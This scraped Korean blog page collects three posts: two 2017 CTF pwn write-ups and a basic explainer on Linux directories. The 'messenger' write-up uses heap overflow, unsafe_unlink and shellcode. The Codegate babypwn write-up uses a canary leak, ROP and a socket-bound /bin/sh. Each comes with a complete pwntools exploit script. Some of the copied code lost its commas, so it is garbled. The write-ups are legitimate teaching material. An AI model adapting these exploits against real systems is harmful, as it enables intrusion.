특이점이 상당히 많다.


먼저 malloc과 free를 구현하였다.

그리고 메세지를 2개밖에 만들지 못한다.

heap overflow의 직감이 왔었다.

unsafe_unlink라는 것을 확인하기 위해서는 두가지만 보면된다.


 


 



왼쪽은 Update하는 부분의 코드이고 오른쪽은 free를 구현한 소스 내부이다.

Update부분에 사이즈를 다시 설정할수 있다는 것을 확인할 수 있다.

사이즈를 다시 할당할 수 있으므로 heap overflow를 일으킬 수 있다.



vmmap을 이용해서 확인한 결과 heap영역에 실행권한이 있다는 사실을 알게 되었다.


나는 페이로드를 unsafe_unlink를 이용해서 exit의 주소를 쉘코드 있는 곳으로 뛸 수 있게 만들 것이다.

change -> Remove(Unsafe_unlink) -> Change(nop sled + shellcode)

그러기 위해서는 heap주소의 릭이 필요하다.



heap의 메모리를 보니 malloc_chunk에 heap영역이 저장되는것을 알 수 있었다.(func_malloc을 보면 그 이유도 알 수 있다.)



이를 이용해 릭을 할 수 있었고 

나머지는 unsafe_unlink를 이용해서 풀면된다.!



작성한 exploit은 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 
def Menu(index):
    s.recvuntil(">>")
    s.sendline(str(index))
 
def Leave(size, payload):
    Menu('L')
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def Remove(index):
    Menu('R')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
def Change(index, size, payload):
    Menu('C')
    s.recvuntil("index : ")
    s.sendline(str(index))
    s.recvuntil("size : ")
    s.sendline(str(size))
    s.recvuntil("msg : ")
    s.sendline(payload)
 
def View(index):
    Menu('V')
    s.recvuntil("index : ")
    s.sendline(str(index))
 
if __name__ == "__main__":
    s = remote("localhost"4000)
 
    Leave(32"A"*31)
    Leave(32"A"*31)
 
    payload = "BBBB"*14
    Change(01000 ,payload[:-1])
 
    View(0)
    s.recvuntil("\n")
    heap_ptr = u64(s.recvuntil("\n")[:-1].ljust(8,"\x00")) - 0xa8
    log.info("heap_ptr      : "+str(hex(heap_ptr)))
 
    payload = "B"*56
    payload += p64(0x602070 - 0x10)    # exit_got()
    payload += p64(heap_ptr + 0xa8)
    Change(01000, payload)
    Remove(1)
 
    payload = "\x90"*500
    payload += shellcode
    Change(01000, payload)
 
    s.recvuntil(">>")
    s.sendline("FUCK!")
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - babypwn write up  (0) 2017.04.05
블로그 이미지

powerprove

,

codegate 2017에 출시되었던 babypwn 문제이다.  단순한 BOF문제 였다.



 

 




핵심 코드는 이 두가지다.

v2 는 ebp로부터 0x34만큼 떨어져 있지만 recv르 100만큼 받으므로 buffer overflow가 난다.

v3은 카나리가 있는 것을 확인할 수있는데 v2를 recv한후 다시 v2를 send로 출력시켜 줌으로  카나리 릭을 할 수 있다.





카나리릭이 된다는 것을 확인할 수 있었다.

이제 카나리 릭이 됨으로 ROP를 이용해서 exploit을 하면 된다.

bss에 "/bin/sh <&4 >&4"(소켓이므로 파일디스크립터를 신경쓰자)를 넣고 

system을 호출시켰다. system함수가 구현되어 있어서 릭은 필요가 없었다.(만세)!



exploit은 다음과 같이 구현하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
recv_some = 0x8048907
send_some = 0x80488B1
bss = 0x804B1B4
ppr = 0x8048b84
 
def Echo(payload):
        s.recvuntil(" menu > ")
    s.sendline("1")
    s.recvuntil("Input Your Message : ")
    s.sendline(payload)
    s.recvuntil("\n")
 
 
if __name__ == "__main__":
 
    s = remote("localhost"4000)
 
    g = log.progress("hack")
    g.status("canary_leak")
 
    payload = "A"*40
    Echo(payload)
 
    canary = u32(s.recvuntil("\n")[:-1].rjust(4,"\x00"))
    log.info("canary         : "+str(hex(canary)))
    g.status("rop!")
 
    payload = "A"*40
    payload += p32(canary)
    payload += "A"*12
    payload += p32(recv_some)
    payload += p32(ppr)
    payload += p32(bss)
    payload += p32(0x100)
    payload += p32(0x8048620)
    payload += p32(0xDEADBEEF)
    payload += p32(bss)
    Echo(payload)
 
        s.recvuntil(" menu > ")
    s.sendline("3")
    s.sendline("/bin/sh <&4 >&4\x00")
    g.success()
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
codegate 2017 - messenger write up  (0) 2017.04.05
블로그 이미지

powerprove

,

리눅스 디렉토리 구조


루트(/)

절대경로 상태의 첫 꼭대기 디렉토리 이다.



/bin

리눅스의 기본적인 명령어 들이 저장된 디렉토리 이다.

root 사용자와 일반사용자가 함께 사용할 수 있다.


보면 rm, ls, ln 등이 있는 것을 확인 할 수 있다 . ㅎㅎ


/sbin


시스템 관리를 위한 명령들이 있음(루트 유저)


/home




사용자의 홈 디렉토리이다.


/root


루트의 홈 디렉토리이다.


/lib


라이브러리가 들어가 있다.

+ /usr/lib

/lib 에 없는 프로그램의 라이브러리가 들어가 있다.


/var


리눅스에서 자주 변경되는 데이터를 임시 저장하기 위한 장소


+ /var/log

로그가 저장됨



+ /var/run

시스템의 현재 정보가 들어있음


/boot


부팅에 필요한 파일이 저장됨(grub)



/usr


리눅스에서 가장 큰 공간을 사용하는 디렉토리로 일반사용자들이 사용한다.


+ /usr/bin

일반사용자들이 사용하는 명령어들


+ /usr/src/

커널 소스가 들어있는 디렉토리



'system > level1' 카테고리의 다른 글

컴파일 과정(LINUX GCC)  (0) 2017.04.10
linux 정적 컴파일 동적 컴파일  (0) 2017.04.09
리눅스 파일 권한 설정  (0) 2017.04.09
리눅스 기초(8086 메모리 구조)  (0) 2017.04.06
리눅스 기초(리눅스 구조)  (0) 2017.04.04
블로그 이미지

powerprove

,